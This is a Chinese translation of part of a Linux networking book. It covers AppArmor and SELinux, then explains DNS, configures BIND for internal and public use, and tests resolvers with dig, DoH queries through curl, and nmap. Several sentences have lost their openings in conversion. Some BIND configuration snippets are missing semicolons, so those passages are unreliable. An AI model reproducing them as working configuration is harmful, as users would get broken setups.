由于 AppArmor 不使用文件标签,这使得它在文件系统方面是不可知的,如果文件系统不支持安全标签,这使得它成为唯一的选择。另一方面,这也意味着这种架构决策限制了它匹配 SELinux 所有功能的能力。

AppArmor 的功能包括对以下内容的限制:

  • 文件访问控制

  • 库加载控制

  • 进程执行控制

  • 对网络协议的粗粒度控制

  • 命名套接字

  • 对象上的粗粒度所有者检查(需要 Linux 内核 2.6.31 或更新版本)

两种 LVM 都有学习选项:

  • SELinux 有一个宽容模式,这意味着策略已启用但未强制执行。这种模式允许您测试应用程序,然后检查 SELinux 日志,以查看在强制执行策略时您的应用程序可能受到的影响。可以通过编辑/etc/selinux/config文件并将selinux行更改为enforcingpermissivedisabled来控制 SELinux 模式。更改后需要重新启动系统。

  • AppArmor 的学习模式称为aa-complain。要为所有配置文件的应用程序激活此模式,命令是aa-complain/etc/apparmor.d/*。激活学习模式后,然后测试一个应用程序,您可以使用aa-logprof命令查看 AppArmor 可能如何影响该应用程序(对于此命令,您需要配置文件和日志的完整路径)。

要检查 LVM 的状态,命令如下:

  • 对于 SELinux,命令是getenforce,或者更详细的输出是sestatus

  • 对于 AppArmor,类似的命令是apparmor statusaa-status

总之,AppArmor 和 SELinux 都是复杂的系统。 SELinux 被认为更加复杂,但也更加完整。如果您选择其中一种方法,您应该首先在测试系统上进行测试。在部署之前,最好在生产主机的克隆上尽可能多地测试和构建您的生产配置。这两种解决方案都可以显著提高主机和应用程序的安全性,但都需要大量的设置工作,以及持续的努力来确保主机和应用程序在随着时间的推移而变化时能够正常运行。

这两个系统的更完整的解释超出了本书的范围-如果您希望更全面地探索其中任何一个,它们都有几本专门的书籍。

总结

我们讨论的一切的最终目标——监管框架、关键控制和安全基准——都是为了更容易地更好地保护您的主机和数据中心。在这些指导结构中的关键是为您提供足够的指导,使您能够达到所需的目标,而无需成为安全专家。每一个都变得越来越具体。监管框架通常非常广泛,在如何完成任务方面留下了相当大的自由裁量权。关键控制更为具体,但仍然允许在部署解决方案和实现最终目标方面有相当大的灵活性。CIS 基准非常具体,为您提供了实现目标所需的确切命令和配置更改。

我希望通过本章我们所走过的旅程,您对如何在您的组织中结合这些各种指导方法来更好地保护您的 Linux 基础设施有一个良好的了解。

在下一章中,我们将讨论在 Linux 上实施 DNS 服务。如果您希望继续了解如何更具体地保护您的主机,不用担心——随着我们实施新服务,这个安全讨论会一次又一次地出现。

问题

随着我们的结束,这里有一些问题供您测试对本章材料的了解。您将在附录评估部分找到答案:

  1. 在 IT 实施中,使用哪些美国立法来定义隐私要求?

  2. 你能按照 CIS 关键控制进行审计吗?

  3. 为什么您会经常使用多种方法来检查一个安全设置——例如 SSH 的加密算法?

进一步阅读

有关本章涵盖的主题的更多信息,您可以查看以下链接:

isc.sans.edu/forums/diary/Critical+Control+2+Inventory+of+Authorized+and+Unauthorized+Software/11728/

第三部分:Linux 网络服务

在本最后一部分中,我们将把我们的 Linux 工作站变成一个服务器,并讨论可能在 Linux 上实现的几种常见服务器。在每一章中,我们将介绍该服务的作用,为什么它很重要,然后如何配置它并开始保护它。将深入介绍可以在几乎任何组织中使用的具体示例,以便读者可以在自己的环境中构建它们。

本书的这一部分包括以下章节:

  • [第六章](B16336_06_Final_NM_ePub.xhtml#_idTextAnchor100),Linux 上的 DNS 服务

  • [第七章](B16336_07_Final_NM_ePub.xhtml#_idTextAnchor118),Linux 上的 DHCP 服务

  • [第八章](B16336_08_Final_NM_ePub.xhtml#_idTextAnchor133),Linux 上的证书服务

  • [第九章](B16336_09_Final_NM_ePub.xhtml#_idTextAnchor153),Linux 的 RADIUS 服务

  • [第十章](B16336_10_Final_NM_ePub.xhtml#_idTextAnchor170),Linux 的负载均衡器服务

  • [第十一章](B16336_11_Final_NM_ePub.xhtml#_idTextAnchor192),Linux 中的数据包捕获和分析

  • [第十二章](B16336_12_Final_NM_ePub.xhtml#_idTextAnchor216),使用 Linux 进行网络监控

  • [第十三章](B16336_13_Final_NM_ePub.xhtml#_idTextAnchor236),Linux 上的入侵防范系统

  • [第十四章](B16336_14_Final_NM_ePub.xhtml#_idTextAnchor252),Linux 上的蜜罐服务

第六章:Linux 上的 DNS 服务

域名系统DNS)是当今信息社会的重要基础。技术社区中使用的一句谚语(以俳句格式表达)如下所示:

这不是 DNS

绝对不可能是 DNS

这是 DNS

这描述了比你想象的更多的技术问题,甚至涉及到广泛的互联网或云服务中断。这也很好地描述了问题是如何解决的,答案是:“根本问题总是 DNS。”这很好地说明了这项服务对当今几乎每个企业网络和公共互联网的几乎每个方面都是多么重要。

在本章中,我们将涵盖几个涉及 DNS 基础知识的主题,然后构建和最终排除 DNS 服务。我们将关注以下领域:

  • 什么是 DNS?

  • 两种主要的 DNS 服务器实现

  • 常见的 DNS 实现

  • DNS 故障排除和侦察

然后,在介绍了 DNS 基础知识之后,我们将讨论以下两种全新的 DNS 实现,这两种实现正在迅速被采用:

  • DNS over HyperText Transfer Protocol Secure (HTTPS), known as DoH

  • 传输层安全TLS)上的 DNS,称为DoT

我们还将讨论DNS 安全扩展DNSSEC)实现,该实现对 DNS 响应进行加密签名,以证明它们已经经过验证并且没有被篡改。

技术要求

在本章的示例中,您应该能够继续使用您现有的 Linux 主机或虚拟机VM)。没有额外的要求。

什么是 DNS?

DNS 基本上是人们所需的东西和网络所需的东西之间的翻译者。大多数情况下,人们理解主机和服务的文本名称,例如google.compaypal.com。然而,这些名称对底层网络并没有意义。DNS 所做的就是将那些“完全合格的主机名”(有人可能在应用程序中输入,比如他们在开放系统互连OSI)第 7 层的浏览器中输入的)翻译成Internet ProtocolIP)地址,然后可以用来在 OSI 第 3 和第 4 层路由应用程序请求。

在相反的方向上,DNS 也可以将 IP 地址翻译成完全合格的域名FQDN),使用所谓的指针PTR)请求(用于 DNS PTR 记录)或“反向查找”。这对技术人员来说可能很重要,但这些请求并不像常见的人们运行他们的浏览器和其他应用程序那样经常见到。

两种主要的 DNS 服务器实现

DNS 在互联网上有一个庞大而复杂的基础设施(我们将在本节中涉及)。这由 13 个根名称服务器(每个都是可靠的服务器集群)、一组常用的名称服务器(例如我们在谷歌或 Cloudflare 使用的服务器)以及一系列注册商组成,他们将为您注册 DNS 域名,例如您的组织域名,收取一定费用。

然而,大部分情况下,大多数管理员都在处理他们组织的需求——与面向内部人员的内部 DNS 名称服务器或者面向互联网的外部 DNS 名称服务器进行工作。这两种用例将是本章重点讨论的内容。当我们构建这些示例时,您将看到谷歌或 Cloudflare DNS 基础设施,甚至根 DNS 服务器并没有那么不同。

组织的“内部”DNS 服务器(以及 DNS 概述)

组织部署的最常见的 DNS 服务是供其员工使用的内部 DNS 服务器。该服务器可能具有用于内部 DNS 解析的 DNS 记录的区域文件。该文件可以通过手动编辑区域文件或使用客户端的自动注册或动态主机配置协议DHCP)租约自动填充。通常,这三种方法都会结合使用。

基本的请求流程很简单。客户端发出 DNS 请求。如果该请求是针对组织内部的主机,并且请求是发送到内部 DNS 服务器,则由于该本地 DNS 服务器上有该请求,DNS 响应将立即提供。

如果是针对外部主机的请求,那么事情会变得更加复杂 - 例如,让我们查询www.example.com。在开始之前,请注意以下图表显示了最坏情况,但几乎每一步都有缓存过程,通常允许跳过一步或多步:

图 6.1 - 单个 DNS 请求可以变得多么复杂的令人眼花缭乱的概述

图 6.1 - 单个 DNS 请求可以变得多么复杂的令人眼花缭乱的概述

这个过程看起来很复杂,但您会发现它进行得非常快,实际上在许多情况下有许多逃生舱可以让协议跳过许多这些步骤。让我们详细看看整个最坏情况的过程,如下所示:

  1. 如果内部 DNS 服务器的 DNS 缓存中有条目,并且该条目的生存时间TTL)尚未过期,则立即向客户端提供响应。同样,如果客户端请求的条目托管在区域文件中的服务器上,则立即向客户端提供答案。

  2. 如果内部 DNS 服务器的缓存中没有条目,或者如果条目在缓存中但其 TTL 已过期,则内部服务器将请求转发给其上游提供者(通常称为转发器)以刷新该条目。

如果查询在转发器的缓存中,它将简单地返回答案。如果该服务器具有该域的权威名称服务器,它将简单地查询该主机(在过程中跳过到步骤 5)。

  1. 如果转发器在缓存中没有该请求,它将向上游请求。在这种情况下,它可能会查询根名称服务器。这样做的目的是找到具有该域的实际条目(在区域文件中)的“权威名称服务器”。在这种情况下,查询是针对.com的根名称服务器进行的。

  2. 根名称服务器不会返回实际答案,而是返回.com的权威名称服务器。

  3. 转发器收到此响应后,更新其缓存以包含该名称服务器条目,然后对该服务器进行实际查询。

  4. .com的权威服务器返回example.com的权威 DNS 服务器。

  5. 转发服务器然后向最终的权威名称服务器发出请求。

  6. example.com的权威名称服务器将实际查询的“答案”返回给转发器服务器。

  7. 转发器名称服务器缓存该答案,然后将答复发送回您的内部名称服务器。

  8. 您的内部 DNS 服务器还会缓存该答案,然后将其转发回客户端。

客户端将请求缓存在其本地缓存中,然后将所请求的信息(DNS 响应)传递给请求它的应用程序(也许是您的网络浏览器)。

同样,这个过程展示了最坏情况下的简单 DNS 请求和接收答案的过程。实际上,一旦服务器运行了一段时间,缓存会大大缩短这个过程。一旦进入稳定状态,大多数组织的内部 DNS 服务器将会缓存大部分请求,因此该过程会直接从步骤 1跳到步骤 10。此外,您的转发 DNS 服务器也会缓存,特别是它几乎不会查询根名称服务器;通常它也会缓存顶级域服务器(在这种情况下,.com的服务器)。

在这个描述中,我们还提到了“根名称服务器”的概念。这些是根或.区域的权威服务器。为了冗余,有 13 个根服务器,每个实际上都是一个可靠的服务器集群。

我们的内部 DNS 服务器需要启用哪些关键功能才能使所有这些工作?我们需要启用以下功能:

  • DNS 递归:这种模式依赖于 DNS 递归,即每个服务器依次向上级服务器发出客户端的 DNS 请求。如果内部服务器上未定义所请求的 DNS 条目,它需要获得转发这些请求的权限。

  • 转发器条目:如果所请求的 DNS 条目不托管在内部服务器上,内部 DNS 服务iDNS)请求将被转发到这些配置的 IP 地址,这些应该是两个或更多可靠的上游 DNS 服务器。这些上游服务器将依次缓存 DNS 条目,并在其 TTL 计时器到期时使其过期。在过去,人们会使用他们的互联网服务提供商ISP)的 DNS 服务器作为转发器。在现代,更大的 DNS 提供商比您的 ISP 更可靠并提供更多功能。下面列出了一些常用的用作转发器的 DNS 服务(最常用的地址以粗体显示)!

  • 缓存:在一个大型组织中,通过增加内存可以大大提高 DNS 服务器的性能,这样可以进行更多的缓存,这意味着更多的请求可以直接从服务器的内存中提供服务。

  • 动态注册:虽然服务器通常具有静态 IP 地址和静态 DNS 条目,但工作站通常会通过 DHCP 分配地址,当然也希望将这些工作站注册到 DNS 中。DNS 通常配置为允许动态注册这些主机,可以通过在分配地址时从 DHCP 中填充 DNS 或允许主机自行在 DNS 中注册(如请求评论RFC2136中所述)。

微软在他们的动态更新过程中实现了身份验证机制,这是最常见的地方。然而,在 Linux DNS(伯克利互联网名称域,或BIND)中也有这个选项。

  • 主机冗余:几乎所有核心服务都受益于冗余。对于 DNS 来说,通常会有第二个 DNS 服务器。数据库通常是单向复制(从主服务器到辅助服务器),并使用区域文件中的序列号来确定何时进行复制,使用一种称为区域传输的复制过程。冗余对于应对各种系统故障至关重要,但同样重要的是它可以允许系统维护而不会中断服务。

有了内部 DNS 服务器,我们需要在配置中做哪些改变才能使 DNS 服务器为公共互联网提供区域服务?

面向互联网的 DNS 服务器

在面向互联网的 DNS 服务器的情况下,您很可能正在为一个或多个 DNS 区域实现权威 DNS 服务器。例如,在我们的参考图表(图 6.1)中,example.com的权威 DNS 服务器就是一个很好的例子。

在这个实现中,重点从内部服务器的性能和转发转移到了限制访问以实现最大安全性。这些是我们想要实现的限制:

  • 限制递归:在我们概述的 DNS 模型中,这个服务器是“终点”,它直接回答它托管的区域的 DNS 请求。这个服务器永远不应该向上游查找以服务 DNS 请求。

  • 缓存不太重要:如果您是一个组织,并且正在托管自己的公共 DNS 区域,那么您只需要足够的内存来缓存自己的区域。

  • 主机冗余:再次,如果您正在托管自己的区域文件,添加第二台主机对您来说可能比添加缓存更重要。这为您的 DNS 服务提供了一些硬件冗余,这样您就可以在不中断服务的情况下对一台服务器进行维护。

  • 限制区域传输:这是您想要实施的关键限制——您希望在收到单独的 DNS 查询时进行回答。互联网上的 DNS 客户端请求组织的所有条目没有充分的理由。区域传输旨在在冗余服务器之间维护您的区域,以便在编辑区域时将更改复制到群集中的其他服务器。

  • 速率限制:DNS 服务器具有一种称为响应速率限制(RRL)的功能,它限制任何一个源可以查询该服务器的频率。为什么要实施这样的功能?

DNS 经常用于“欺骗”攻击。由于它基于用户数据报协议(UDP),没有建立会话的“握手”;它是一个简单的请求/响应协议,因此,如果您想攻击已知地址,您可以简单地使用目标作为请求者进行 DNS 查询,未经请求的答案将发送到该 IP。

这似乎不像是一次攻击,但如果您然后添加一个“乘数”(换句话说,如果您正在进行小型 DNS 请求并获得更大的响应,例如文本(TXT)记录,并且正在使用多个 DNS 服务器作为“反射器”),那么您发送到目标的带宽可能会很快增加。

这使得速率限制变得重要——您希望限制任何一个 IP 地址每秒进行少量相同的查询。这是一个合理的做法;鉴于 DNS 缓存的依赖性,任何一个 IP 地址在任何 5 分钟内不应该进行超过一到两个相同的请求,因为 5 分钟是任何 DNS 区域的最小 TTL。

启用速率限制的另一个原因是限制攻击者在 DNS 中进行侦察的能力——为常见的 DNS 名称进行数十甚至数百个请求,并编制您有效主机的列表,以便随后对它们进行攻击。

  • 限制动态注册:动态注册当然不建议在大多数面向互联网的 DNS 服务器上。唯一的例外是任何提供动态 DNS(DDNS)注册作为服务的组织。这类公司包括 Dynu、DynDNS、FreeDNS 和 No-IP 等几家公司。鉴于这些公司的专业性质,它们各自都有自己的方法来保护其 DDNS 更新(通常涉及自定义代理和某种形式的身份验证)。直接使用 RFC 2136 对于面向互联网的 DNS 服务器来说根本无法保护。

通过实施内部 DNS 服务器的基础知识并开始为它们的各种用例进行安全设置,我们有哪些 DNS 应用程序可用于构建 DNS 基础设施?让我们在下一节中了解这一点。

常见的 DNS 实现

BIND,也称为 named(用于名称守护程序),是 Linux 中最常实现的 DNS 工具,可以说是最灵活和完整的,同时也是最难配置和排除故障的。不管好坏,它是您最有可能看到和在大多数组织中实施的服务。主要的两种实现用例在接下来的两个部分中进行了概述。

DNS 伪装dnsmasq)是一种竞争的 DNS 服务器实现。它通常出现在网络设备上,因为它的占用空间很小,但也可以作为较小组织的良好 DNS 服务器。Dnsmasq 的主要优势包括其内置的图形用户界面GUI),可用于报告,以及其与 DHCP 的集成(我们将在下一章中讨论),允许直接从 DHCP 数据库进行 DNS 注册。此外,Dnsmasq 实现了一种友好的方式来实现 DNS 阻止列表,这在 Pi-hole 应用程序中非常好地打包起来。如果你的家庭网络在其外围防火墙或无线接入点WAP)上有一个 DNS 服务器,那么该 DNS 服务器很可能是 Dnsmasq。

在本章中,我们将专注于常用的 BIND(或命名)DNS 服务器。让我们开始构建我们的内部 DNS 服务器使用该应用程序。

基本安装:用于内部使用的 BIND

正如你所期望的,安装bind,Linux 上最流行的 DNS 服务器,就是这么简单:

$ sudo apt-get install –y bind9

查看/etc/bind/named.conf文件。在旧版本中,应用程序配置都在这一个庞大的配置文件中,但在新版本中,它只是由三个include行组成,如下面的代码片段所示:

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

编辑/etc/bind/named.conf.options,并添加以下选项—确保使用sudo因为你需要管理员权限来更改bind的任何配置文件:

  • 允许来自本地子网列表的查询。在这个例子中,我们允许所有RFC 1918中的子网,但你应该将其限制在你的环境中拥有的子网。请注意,我们使用无类别子网掩码来最小化这一部分的条目数量。

  • 定义监听端口(默认情况下是正确的)。

  • 启用递归查询。

  • 定义递归工作的 DNS 转发器列表。在这个例子中,我们将添加谷歌和 Cloudflare 作为 DNS 转发。

完成后,我们的配置文件应该看起来像这样。请注意,这确实是一个几乎是“普通语言”的配置—对于这些部分的含义没有任何神秘之处:

options {
  directory "/var/cache/bind";
  listen-on port 53 { localhost; };
  allow-query { localhost; 192.168.0.0/16; 10.0.0.0/8; 172.16.0.0/12; };
  forwarders { 8.8.8.8; 8.8.4.4; 1.1.1.1; };
  recursion yes;
}

接下来,编辑/etc/bind/named.conf.local,并添加服务器类型、区域和区域文件名。此外,允许指定子网上的工作站使用allow-update参数向 DNS 服务器注册其 DNS 记录,如下面的代码片段所示:

zone "coherentsecurity.com" IN {
  type master;
  file "coherentsecurity.com.zone";
  allow-update { 192.168.0.0/16; 10.0.0.0/8;172.16.0.0/12 };
};

zone文件本身,其中存储了所有的 DNS 记录,不在与这前两个config文件相同的位置。要编辑zone文件,编辑/var/cache/bind/<zone file name>—所以,在这个例子中,是/var/cache/bind/coherentsecurity.com.zone。你需要sudo权限来编辑这个文件。做出以下更改:

  • 根据需要添加记录。

  • 使用你的区域和域名服务器的 FQDN 更新SOA行。

  • 如果需要,在SOA记录的最后一行更新TTL值—默认值是86400秒(24 小时)。这通常是一个很好的折衷方案,因为它有利于在多个服务器上缓存记录。但是,如果你正在进行任何 DNS 维护,你可能希望在维护前一天(即维护前 24 小时或更长时间)编辑文件,并将其缩短到 5 或 10 分钟,以避免由于缓存而延迟你的更改。

  • 更新ns记录,它标识了你域的 DNS 服务器。

  • 根据需要添加A记录—这些标识每个主机的 IP 地址。请注意,对于A记录,我们只使用每个主机的通用名称CN),而不是包括域的 FQDN 名称。

完成后,我们的 DNS 区域文件应该看起来像这样:

图 6.2 - 一个 DNS 区域文件示例

图 6.2 - 一个 DNS 区域文件示例

正如我们之前讨论的,在内部 DNS 区域中,通常希望客户端在 DNS 中注册自己。这允许管理员通过名称而不是确定其 IP 地址来访问客户端。这是对named.conf文件(或更可能是适用的包含的子文件)的简单编辑。请注意,这要求我们添加192.168.122.0/24(定义整个子网)可能更常见。通常也会看到定义整个公司的企业“超网”,例如10.0.0.0/8192.168.0.0/16,但出于安全原因,这通常不建议;您可能实际上不需要设备在每个子网中自动注册。

在适用的区域中,添加以下代码行:

acl dhcp-clients { 192.168.122.128/25; };
acl static-clients { 192.168.122.64/26; };
zone "coherentsecurity.com" {
    allow-update { dhcp-clients; static-clients; };
};

有一些脚本可以检查您的工作——一个用于基本配置和包含的文件,另一个用于区域。如果没有错误,named-checkconf将不返回任何文本,而named-checkzone将给出一些OK状态消息,如下所示。如果您运行这些并且没有看到错误,那么至少应该足够开始服务。请注意,named-checkzone命令在以下代码示例中换行到下一行。bind配置文件中的错误很常见——例如缺少分号。这些脚本将非常具体地指出发现的问题,但如果它们出现错误并且您需要更多信息,则这些命令的日志文件(bind本身的bind)是标准的/var/log/syslog文件,因此请在那里查找:

$ named-checkconf
$ named-checkzone coherentsecurity.com /var/cache/bind/coherentsecurity.com.zone
zone coherentsecurity.com/IN: loaded serial 2021022401
OK

最后,通过运行以下命令启用bind9服务并启动它(或者如果您正在“推送”更新,则重新启动它):

sudo systemctl enable bind9
sudo systemctl start bind9

我们现在能够使用本地主机上的 DNS 服务器解析我们区域中的主机名,方法如下:

$ dig @127.0.0.1 +short ns01.coherentsecurity.com A
192.168.122.157
$ dig @127.0.0.1 +short esx01.coherentsecurity.com A
192.168.122.51

由于递归和转发器已经就位,我们也可以解析公共互联网上的主机,就像这样:

$ dig @127.0.0.1 +short isc.sans.edu
45.60.31.34
45.60.103.34

完成并运行我们的内部 DNS 服务器后,让我们看看我们面向互联网的 DNS,这将允许人们从公共互联网解析我们公司的资源。

BIND:面向互联网的实现细节

在我们开始之前,这种配置已经不像以前那样常见了。回到 20 世纪 90 年代或更早,如果您想让人们访问您的 Web 服务器,最常见的方法是建立自己的 DNS 服务器或使用由您的 ISP 提供的 DNS 服务器。在任何一种情况下,任何 DNS 更改都是手动文件编辑。

在更近的时代,更常见的是将 DNS 服务托管给 DNS 注册商。这种“云”方法将安全实施留给 DNS 提供商,并简化了维护,因为各种提供商通常会给您一个 Web 界面来维护您的区域文件。在这种模型中的关键安全考虑是,您将希望提供商为您提供启用多因素身份验证MFA)的选项(例如,使用 Google Authenticator 或类似工具),以防范针对您的管理访问的凭证填充攻击。还值得研究您的注册商的帐户恢复程序——您不希望经过所有实施 MFA 的工作,然后让攻击者通过简单的求助电话来窃取它!

话虽如此,许多组织仍然有充分的理由实施自己的 DNS 服务器,因此让我们继续修改我们在上一节中使用的配置,以用作互联网 DNS 服务器,方法如下:

  • etc/bind/named.conf.options,我们将要添加某种速率限制——在 DNS 的情况下,这是 RRL 算法。

  • 然而,请记住,这有可能拒绝合法查询的服务。让我们将responses-per-second值设置为10作为初步速率限制,但将其设置为log-only状态。让它在log-only模式下运行一段时间,并调整每秒速率,直到你确信你有一个足够低以防止激进攻击但又足够高以在合法操作期间不拒绝访问的值。在此过程中要监视的日志文件,如前面提到的,是/var/log/syslog。当你对你的值感到满意时,删除log-only行。一旦开始运行,请确保监视任何触发此设置的情况——这可以在你的日志记录或安全信息和事件管理SIEM)解决方案中通过简单的关键字匹配轻松完成。代码如下所示:

        rate-limit {
             responses-per-second 10
             log-only yes;
        }
  • /etc/bind/named.conf.options。此外,完全删除 forwarders 行。代码如下所示:
        recursion no;
  • allow-query行修改为如下内容:
allow-query { localhost; 0.0.0.0/0 }

既然我们既有内部用户的 DNS 服务器,又有互联网客户端的 DNS 服务器,我们可以使用哪些工具来排查这项服务?

DNS 故障排除和侦察

在 Linux 中用于排查 DNS 服务的主要工具是dig,它几乎在所有 Linux 发行版中预装。如果你的发行版中没有dig,你可以用apt-get install dnsutils来安装它。这个工具的使用非常简单,可以在这里看到:

Dig <request value you are making> <the request type you are making>  +<additional request types>

因此,要查找公司(我们将检查sans.org)的名称服务器记录,我们将对sans.org进行ns查询,如下所示:

$ dig sans.org ns
; <<>> DiG 9.16.1-Ubuntu <<>> sans.org ns
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27639
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;sans.org.                      IN      NS
;; ANSWER SECTION:
sans.org.               86400   IN      NS      ns-1270.awsdns-30.org.
sans.org.               86400   IN      NS      ns-1746.awsdns-26.co.uk.
sans.org.               86400   IN      NS      ns-282.awsdns-35.com.
sans.org.               86400   IN      NS      ns-749.awsdns-29.net.
;; Query time: 360 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Fri Feb 12 12:02:26 PST 2021
;; MSG SIZE  rcvd: 174

这包含了很多注释信息——知道哪些 DNS 标志被设置,以及 DNS 问题和答案的确切操作,都是非常有价值的信息,而这些信息都在默认输出中。然而,通常也希望得到一个“只有事实”的输出——为了得到这个,我们将添加第二个参数+short,如下所示:

$ dig sans.org ns +short
ns-749.awsdns-29.net.
ns-282.awsdns-35.com.
ns-1746.awsdns-26.co.uk.
ns-1270.awsdns-30.org.

dig命令允许我们进行任何我们喜欢的 DNS 查询。然而,你一次只能查询一个目标,所以要获取NS信息(与名称服务器相关)和邮件交换器MX)信息,你需要进行两次查询。MX 查询如下所示:

$ dig sans.org mx +short
0 sans-org.mail.protection.outlook.com.

我们可以使用哪些其他工具来进行故障排除,还有哪些其他 DNS 实现可能会涉及?

DoH

DoH是一种较新的 DNS 协议;顾名思义,它是通过 HTTPS 传输的,实际上,DNS 查询和响应在形式上类似于应用程序编程接口API)。这个新协议最初在许多浏览器中得到支持,而不是在主流操作系统中本地支持。然而,现在它已经在大多数主流操作系统上可用,只是默认情况下没有启用。

为了远程验证 DoH 服务器,curl(一个关于“查看 url”的双关语)工具可以很好地完成这项工作。在以下示例中,我们正在对 Cloudflare 的名称服务器进行查询:

$ curl -s -H 'accept: application/dns-json' 'https://1.1.1.1/dns-query?name=www.coherentsecurity.com&type=A'
{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"www.coherentsecurity.com","type":1}],"Answer":[{"name":"www.coherentsecurity.com","type":5,"TTL":1693,"data":"robvandenbrink.github.io."},{"name":"robvandenbrink.github.io","type":1,"TTL":3493,"data":"185.199.108.153"},{"name":"robvandenbrink.github.io","type":1,"TTL":3493,"data":"185.199.109.153"},
{"name":"robvandenbrink.github.io","type":1,"TTL":3493,"data":"185.199.110.153"},{"name":"robvandenbrink.github.io","type":1,"TTL":3493,"data":"185.199.111.153"}]}

请注意,查询只是一个形式如下的https请求:

https://<the dns server ip>/dns-query?name=<the dns query target>&type=<the dns request type>  

请求中的 HTTP 头是accept: application/dns-json。请注意,这个查询使用标准的 HTTPS,因此它监听在端口tcp/443上,而不是常规的udp/53tcp/53 DNS 端口。

我们可以通过jq将命令输出变得更易读。这个简单的查询显示了输出中的标志——DNS 问题、答案和授权部分。请注意在以下代码片段中,服务器设置了RD标志(代表RA标志(代表递归可用):

curl -s -H 'accept: application/dns-json' 'https://1.1.1.1/dns-query?name=www.coherentsecurity.com&type=A' | jq
{
  "Status": 0,
  "TC": false,
  "RD": true,
  "RA": true,
  "AD": false,
  "CD": false,
  "Question": [
    {
      "name": "www.coherentsecurity.com",
      "type": 1
    }
  ],
  "Answer": [
    {
      "name": "www.coherentsecurity.com",
      "type": 5,
      "TTL": 1792,
      "data": "robvandenbrink.github.io."
    },
    ….  
    {
      "name": "robvandenbrink.github.io",
      "type": 1,
      "TTL": 3592,
      "data": "185.199.111.153"
    }
  ]
}

网络映射器Nmap)也可以用来验证远程 DoH 服务器上的证书,如下面的代码片段所示:

nmap -p443 1.1.1.1 --script ssl-cert.nse
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-25 11:28 Eastern Standard Time
Nmap scan report for one.one.one.one (1.1.1.1)
Host is up (0.029s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-cert: Subject: commonName=cloudflare-dns.com/organizationName=Cloudflare, Inc./stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:cloudflare-dns.com, DNS:*.cloudflare-dns.com, DNS:one.one.one.one, IP Address:1.1.1.1, IP Address:1.0.0.1, IP Address:162.159.36.1, IP Address:162.159.46.1, IP Address:2606:4700:4700:0:0:0:0:1111, IP Address:2606:4700:4700:0:0:0:0:1001, IP Address:2606:4700:4700:0:0:0:0:64, IP Address:2606:4700:4700:0:0:0:0:6400
| Issuer: commonName=DigiCert TLS Hybrid ECC SHA384 2020 CA1/organizationName=DigiCert Inc/countryName=US
| Public Key type: unknown
| Public Key bits: 256
| Signature Algorithm: ecdsa-with-SHA384
| Not valid before: 2021-01-11T00:00:00
| Not valid after:  2022-01-18T23:59:59
| MD5:   fef6 c18c 02d0 1a14 ab75 1275 dd6a bc29
|_SHA-1: f1b3 8143 b992 6454 97cf 452f 8c1a c842 4979 4282
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds

然而,Nmap 目前没有附带一个脚本,可以通过实际进行 DoH 查询来验证 DoH 本身。为了填补这个空白,你可以在这里下载这样一个脚本:https://github.com/robvandenbrink/dns-doh.nse。

该脚本通过 Lua http.shortport操作符验证端口是否正在服务 HTTP 请求,然后构造查询字符串,然后使用正确的标头进行 HTTPS 请求。此工具的完整说明可在此处找到:https://isc.sans.edu/forums/diary/Fun+with+NMAP+NSE+Scripts+and+DOH+DNS+over+HTTPS/27026/。

在彻底探索 DoH 之后,我们还有哪些其他协议可用于验证和加密我们的 DNS 请求和响应?

DoT

tcp/853,这意味着它不会与 DNS(udp/53tcp/53)或 DoH(tcp/443)发生冲突—如果 DNS 服务器应用程序支持所有三种服务,则这三种服务都可以在同一主机上运行。

大多数现代操作系统(作为客户端)支持 DoT 名称解析。它并不总是默认运行,但如果需要,可以启用它。

远程验证 DoT 服务器就像使用 Nmap 验证tcp/853是否在监听一样简单,如下面的代码片段所示:

$ nmap -p 853 8.8.8.8
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-21 13:33 PST
Nmap scan report for dns.google (8.8.8.8)
Host is up (0.023s latency).
PORT    STATE SERVICE
853/tcp open  domain-s
Doing a version scan gives us more good information, but the fingerprint (at the time of this book being published) is not in nmape:
$ nmap -p 853 -sV  8.8.8.8
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-21 13:33 PST
Nmap scan report for dns.google (8.8.8.8)
Host is up (0.020s latency).
PORT    STATE SERVICE    VERSION
853/tcp open  ssl/domain (generic dns response: NOTIMP)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port853-TCP:V=7.80%T=SSL%I=7%D=2/21%Time=6032D1B5%P=x86_64-pc-linux-gnu
SF:%r(DNSVersionBindReqTCP,20,"\0\x1e\0\x06\x81\x82\0\x01\0\0\0\0\0\0\x07v
SF:ersion\x04bind\0\0\x10\0\x03")%r(DNSStatusRequestTCP,E,"\0\x0c\0\0\x90\
SF:x04\0\0\0\0\0\0\0\0");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.66 seconds

在前面的代码片段中显示的标记为domain-s(DNS over -sV)的开放端口tcp/853显示了响应中的DNSStatusRequestTCP字符串,这是一个很好的线索,表明该端口实际上正在运行 DoT。由于它是 DoT,我们还可以使用 Nmap 再次验证验证 DoT 服务的证书,如下所示:

nmap -p853 --script ssl-cert 8.8.8.8
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-21 16:35 Eastern Standard Time
Nmap scan report for dns.google (8.8.8.8)
Host is up (0.017s latency).
PORT    STATE SERVICE
853/tcp open  domain-s
| ssl-cert: Subject: commonName=dns.google/organizationName=Google LLC/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:dns.google, DNS:*.dns.google.
